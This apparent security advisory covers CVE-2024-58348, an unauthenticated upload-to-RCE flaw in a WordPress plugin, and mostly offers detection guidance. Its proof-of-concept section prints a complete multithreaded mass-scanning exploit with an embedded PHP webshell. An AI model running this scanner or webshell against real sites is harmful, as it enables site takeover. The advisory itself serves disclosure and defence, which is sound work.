WordPress Background Image Cropper CVE-2024-58348: Unauthenticated RCE via Unrestricted File Upload with Public Exploit and CISA KEV Listing

Introduction

An abandoned WordPress plugin with an unprotected file upload endpoint has been exploited in the wild since at least October 2023, and it just landed on the CISA Known Exploited Vulnerabilities catalog. CVE-2024-58348 affects version 1.2 of the WordPress Background Image Cropper plugin, where the ups.php endpoint accepts arbitrary file uploads from unauthenticated users with no validation. That gives attackers remote code execution on any site running the plugin.

Nick Halsey originally developed the Background Image Cropper plugin as a WordPress "feature plugin," a category meant to prototype functionality that might eventually merge into WordPress core. It added cropping support for background images, matching the header image cropping already present in WordPress. The plugin was published on WordPress.org in July 2015 and last updated in March 2020. It is now closed on WordPress.org, and its GitHub repository has been archived.

What makes this vulnerability notable is not just the trivial exploitation path, but the convergence of three risk factors: a publicly available mass scanning exploit that has circulated for over two years, confirmed active exploitation that prompted CISA KEV inclusion, and a secondary threat where attackers weaponize the plugin's name as camouflage for malware delivery in separate attack chains.

Technical Information

Root Cause: CWE-434 Unrestricted File Upload

The vulnerability is classified under CWE-434 (Unrestricted Upload of File with Dangerous Type). The ups.php file at /wp-content/plugins/background-image-cropper/ups.php renders an HTML file upload form and processes submissions without either of two critical security controls.

First, there is no authentication or authorization check. The endpoint is accessible to any visitor on the internet via a simple HTTP GET request. No WordPress session, nonce, or user capability is required. Second, there is no file type validation. The upload handler accepts any file regardless of MIME type, file extension, or content. PHP scripts are accepted and stored directly in the plugin directory, where the web server can run them immediately.

The upload form uses enctype="multipart/form-data" with the form attributes name="uploader" and id="uploader". It contains a file input field named file and a submit button named _upl. When a file is submitted, it is written to the plugin directory without sanitization.

CVSS Scoring

The vulnerability carries a CVSS v3.1 score of 9.8 and a CVSS v4.0 score of 9.3, both rated CRITICAL. The scoring reflects the unauthenticated, network accessible, low complexity flaw with high impact across confidentiality, integrity, and availability.

The CVSS v4.0 vector string assigned by VulnCheck (the CNA) is: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N.

Attack Flow

Exploitation proceeds in two stages.

Stage 1: Reconnaissance. The attacker sends an HTTP GET request to the target at /wp-content/plugins/background-image-cropper/ups.php. If the response contains the characteristic HTML upload form (specifically the string enctype="multipart/form-data" name="uploader" id="uploader"), the target is confirmed vulnerable.

Stage 2: Exploitation. The attacker sends an HTTP POST request to the same ups.php endpoint, attaching a malicious PHP file to the file multipart form data field. Because there is no file type validation, the PHP file is stored directly in the plugin directory on the server. The attacker then accesses the uploaded file via its URL (e.g., /wp-content/plugins/background-image-cropper/shell.php) to run arbitrary operating system commands with the privileges of the web server process.

Mass Scanning Infrastructure

The publicly available exploit (EDB-51998) is not merely a proof of concept; it is a fully operational mass scanning tool. It uses a Python multiprocessing pool with 150 threads to rapidly scan lists of target URLs read from an external text file. When it identifies a vulnerable endpoint, it logs the full URL to a file named Shells.txt for later manual exploitation. This lowers the barrier to exploitation to near zero: an attacker needs only a list of WordPress sites and the ability to run a Python script.

Dual Threat: Plugin Name as Malware Camouflage

Beyond direct exploitation of the ups.php endpoint, threat actors have used the plugin's name as a disguise for malware delivery. In July 2025, attackers exploited CVE-2025-5394 (a CVSS 9.8 arbitrary file upload vulnerability in the "Alone" WordPress theme) to install malicious ZIP archives named background-image-cropper.zip on victim sites. These archives contained PHP backdoors that enabled remote command execution and further file uploads. After exploitation, attackers deployed file managers and created rogue administrator accounts for complete site takeover. Wordfence reported blocking over 120,900 exploit attempts in this campaign, with active attacks beginning on July 12, 2025, two days before the Alone theme vulnerability was publicly disclosed.

So the presence of a background-image-cropper directory in a WordPress installation does not necessarily indicate the legitimate (but vulnerable) plugin. It may instead be a malicious package planted through an entirely different attack vector.

Proof of Concept

A fully functional Python exploit authored by Milad Karimi (Ex3ptionaL) is publicly available on Exploit-DB as EDB-51998, published on April 21, 2024. The NVD entry for CVE-2024-58348 references this Exploit-DB entry directly, confirming the mapping.

The exploit contains an embedded PHP webshell payload that uses php_uname() to reveal system information and the PHP copy() function to enable secondary arbitrary file uploads for post exploitation activities:

import sys , requests, re
from multiprocessing.dummy import Pool
from colorama import Fore
from colorama import init
init(autoreset=True)
shell = """<?php echo "Ex3ptionaL"; echo "<br>".php_uname()."<br>"; echo
"<form method='post' enctype='multipart/form-data'> <input type='file'
name='zb'><input type='submit' name='upload' value='upload'></form>";
if($_POST['upload']) { if(@copy($_FILES['zb']['tmp_name'],
$_FILES['zb']['name'])) { echo "eXploiting Done"; } else { echo "Failed to
Upload."; } } ?>"""
requests.urllib3.disable_warnings()
headers = {'Connection': 'keep-alive',
            'Cache-Control': 'max-age=0',
            'Upgrade-Insecure-Requests': '1',
            'User-Agent': 'Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36',
            'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',
            'Accept-Encoding': 'gzip, deflate',
            'Accept-Language': 'en-US,en;q=0.9,fr;q=0.8',
            'referer': 'www.google.com'}
try:
    target = [i.strip() for i in open(sys.argv[1], mode='r').readlines()]
except IndexError:
    path = str(sys.argv[0]).split('\\\\')
    exit('\\n  [!] Enter <' + path[len(path) - 1] + '> <sites.txt>')

def URLdomain(site):
    if site.startswith("http://") :
        site = site.replace("http://","")
    elif site.startswith("https://") :
        site = site.replace("https://","")
    else :
        pass
    pattern = re.compile('(.*)/')
    while re.findall(pattern,site):
        sitez = re.findall(pattern,site)
        site = sitez[0]
    return site

def FourHundredThree(url):
    try:
        url = 'http://' + URLdomain(url)
        check = requests.get(url+'/wp-content/plugins/background-image-cropper/ups.php',headers=headers, allow_redirects=True,timeout=15)
        if 'enctype="multipart/form-data" name="uploader" id="uploader"><input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload' in check.content:
                print ' -| ' + url + ' --> [Succefully]'
                open('Shells.txt', 'a').write(url + '/wp-content/plugins/background-image-cropper/ups.php\n')
        else:
            url = 'https://' + URLdomain(url)
            check = requests.get(url+'/wp-content/plugins/background-image-cropper/ups.php',headers=headers, allow_redirects=True,verify=False ,timeout=15)
            if 'enctype="multipart/form-data" name="uploader" id="uploader"><input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload' in check.content:
                    print ' -| ' + url + ' --> [Succefully]'
                    open('Shells.txt', 'a').write(url + '/wp-content/plugins/background-image-cropper/ups.php\n')
            else:
                print ' -| ' + url + ' --> [Failed]'
    except :
        print ' -| ' + url + ' --> [Failed]'

mp = Pool(150)
mp.map(FourHundredThree, target)
mp.close()
mp.join()

The exploit reads target URLs from a file, sends GET requests to the ups.php endpoint, checks for the characteristic upload form HTML, and logs vulnerable targets to Shells.txt. It uses a thread pool of 150 for concurrent scanning. Once uploaded via the form, the embedded webshell provides OS information disclosure and a secondary file upload capability for post exploitation.

Note the deliberately misspelled User-Agent string containing Mozlila (instead of Mozilla) and Moblie (instead of Mobile), which serves as a useful fingerprint for detection.

Detection Methods

No formal Sigma rules, YARA rules, or IDS signatures have been published in public repositories for this specific CVE. The publicly available exploit code still provides a rich set of indicators that defenders can operationalize.

Web Access Log Monitoring

The most direct detection approach is monitoring web server access logs for any HTTP requests to the path /wp-content/plugins/background-image-cropper/ups.php. This endpoint is not accessed during normal WordPress operations. Any request to this path, especially an unauthenticated POST request with a multipart/form-data content type, should be treated as highly suspicious and investigated immediately. If you use a WAF or reverse proxy, create a rule to alert on or block traffic to this specific URI.

User Agent String Indicators of Compromise

The publicly known exploit uses a distinctive, deliberately misspelled User-Agent header. The string contains Mozlila (misspelling of "Mozilla") and Moblie (misspelling of "Mobile"). These typos are present in the exploit code published on Exploit-DB and can serve as reliable indicators of automated exploitation using this tooling. Searching web logs or configuring alerting rules for User-Agent strings containing either misspelling can catch exploit attempts in progress.

Vulnerable Endpoint Fingerprinting

The ups.php endpoint, when accessed via GET, returns a characteristic HTML upload form. The response body contains telltale HTML attributes including name="uploader" id="uploader" and form input fields with name="file" and name="_upl". Defenders can use this fingerprint during proactive vulnerability scanning of their WordPress environments to determine whether the vulnerable endpoint is exposed and responsive.

File Integrity Monitoring for Webshell Artifacts

After exploitation, the attacker uploads a PHP webshell into the plugin directory. The known exploit payload writes a file containing the unique string Ex3ptionaL, along with calls to php_uname() and the response string eXploiting Done. Configure File Integrity Monitoring (FIM) on the WordPress wp-content/plugins/ directory tree. Any new or modified .php files appearing in wp-content/plugins/background-image-cropper/ after the initial plugin installation should trigger an alert. Scanning existing files for the strings Ex3ptionaL or eXploiting Done can reveal whether a system has already been compromised via this exploit chain.

Process and Network Behavior Monitoring

On the endpoint side, EDR solutions or host based monitoring should watch for unusual child process execution by the web server user (e.g., www-data or apache). If the uploaded webshell is used for further exploitation, you may see the web server process spawning system shells or other unexpected commands. Network level monitoring for outbound connections initiated by the web server process, particularly to uncommon external IPs shortly after a POST to ups.php, can help identify post exploitation C2 activity.

Affected Systems and Versions

The vulnerability affects a single version and configuration:

• Plugin: WordPress Background Image Cropper
• Affected Version: 1.2 (the only known release)
• Platform: PHP / WordPress
• Vulnerable Endpoint: /wp-content/plugins/background-image-cropper/ups.php

The plugin was published on WordPress.org on July 14, 2015, and last modified on March 30, 2020. It is now closed on WordPress.org, and its GitHub repository was archived on March 1, 2024. No patched version exists, and none will be released given the plugin's abandoned status.

Any WordPress installation with this plugin present in the wp-content/plugins/ directory is vulnerable, whether the plugin is activated or deactivated, because ups.php is a standalone PHP file that does not depend on WordPress plugin activation hooks.

Defenders should also be aware that malicious packages bearing the name background-image-cropper.zip have been distributed through entirely separate attack vectors (such as CVE-2025-5394 in the Alone WordPress theme). The presence of a background-image-cropper directory does not necessarily indicate the legitimate plugin; it may be a planted backdoor.

Vendor Security History

The Background Image Cropper plugin has no history of prior CVEs or security advisories, which fits its status as a niche utility that received minimal security scrutiny during its active development. The plugin author, Nick Halsey, is a WordPress core contributor, but this plugin was a side project that was never widely adopted.

The broader pattern is characteristic of the WordPress plugin ecosystem: abandoned plugins with small user bases rarely receive security fixes, and the gap between public exploit availability and formal CVE assignment can span years. Here, community reports of malware associated with the plugin name appeared on Reddit in October 2023, a public exploit was published on Exploit-DB in April 2024, and the CVE was not formally assigned until June 2026, a gap of over two years in which attackers had unrestricted access to a public exploit while defenders had no CVE identifier to track or remediate against.

Users in the WordPress.org support forum have posted topics titled "Background Image Cropper is a virus," reporting that the plugin contained malicious code or was associated with malware campaigns. No vendor response was ever provided to these reports.

Threat Timeline

References

• NVD: CVE-2024-58348
• Exploit-DB: EDB-51998
• VulnCheck Advisory: WordPress Background Image Cropper 1.2 Remote Code Execution
• CVEFeed: CVE-2024-58348
• WordPress.org: Background Image Cropper Plugin Page
• GitHub: wp-plugins/background-image-cropper (Archived)
• CISA Known Exploited Vulnerabilities Catalog
• CISA Alert: Adds One Known Exploited Vulnerability to Catalog (June 1, 2026)
• Reddit: wp-sec and background-image-cropper Malware Discussion
• The Hacker News: Hackers Exploit Critical WordPress Theme Flaw to Hijack Sites
• WordPress.org Support Forum: Background Image Cropper
• VulnCheck Blog: Initial Access Intelligence Update, July 2024